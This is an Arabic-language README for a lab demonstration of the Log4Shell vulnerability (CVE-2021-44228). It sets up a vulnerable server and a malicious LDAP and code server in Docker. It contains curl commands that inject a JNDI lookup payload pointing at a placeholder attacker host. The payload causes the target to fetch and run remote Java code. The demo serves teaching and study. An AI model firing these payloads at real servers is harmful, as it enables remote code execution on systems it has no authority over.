
عرض توضيحي لكيفية عمل ثغرة Log4Shell / CVE-2021-44228
يهدف هذا المشروع إلى توضيح كيفية عمل ثغرة Log4Shell / CVE-2021-44228.
تحتاج فقط إلى تثبيت Docker. ومن الأفضل أن يكون لديك جهازان افتراضيان مختلفان. أحدهم للخادم الضعيف (vulnerable server) والآخر للخادم الخبيث (malicious server) الذي سيستضيف قاعدة الكود الخبيثة وخادم LDAP.
بشكل اختياري، يمكنك تثبيت Make و Docker Compose، لكن هذا ليس ضروريًا لأن هذا المستودع يحتوي أيضًا على make.sh لتجاوز هذه المتطلبات واستخدامها من داخل حاوية docker.
إذا لم تكن قد قمت بذلك بالفعل، فإليك خطوات تثبيت Docker على جهاز افتراضي يعمل بنظام Debian. يمكنك استخدام هذه الخطوات: https://gist.github.com/mschmnet/5d8c979920801c73e148c901a5989b46
git clone [email protected]:mschmnet/Log4Shell-demo.git
cd vulnerable-server
../make.sh run # Or you coud execute make run if you hade Make and Docker Compose installed
سيؤدي هذا إلى تشغيل خادم LDAP أساسي وخادم Python أساسي لتقديم فئات Java الخبيثة.
تحتاج إلى توفير عنوان IP أو اسم النطاق حيث ستكون هذه الخوادم متاحة
cd malicious-server
../make.sh run CODEBASE_URL=SERVER_IP_OR_DOMAIN_NAME # Optionally make instead of ../make.sh if you had Make and Docker Compose installed
curl -X GET -G --data-urlencode 'foo=${jndi:ldap://IP_OR_DOMAIN_MALICIOUS_SERVER:1389/a}' http://IP_OR_DOMAIN_VULNERABLE_SERVER/some-endpoint
أو فقط
curl --location --request GET 'http://IP_OR_DOMAIN_VULNERABLE_SERVER/some-endpoint?foo=%24%7Bjndi%3Aldap%3A%2F%2FIP_OR_DOMAIN_MALICIOUS_SERVER%3A1389%2Fa%7D'
حيث ${jndi:ldap://IP_OR_DOMAIN_MALICIOUS_SERVER:1389/a} هو مجرد ترميز URL
../make.sh stop
../make.sh logs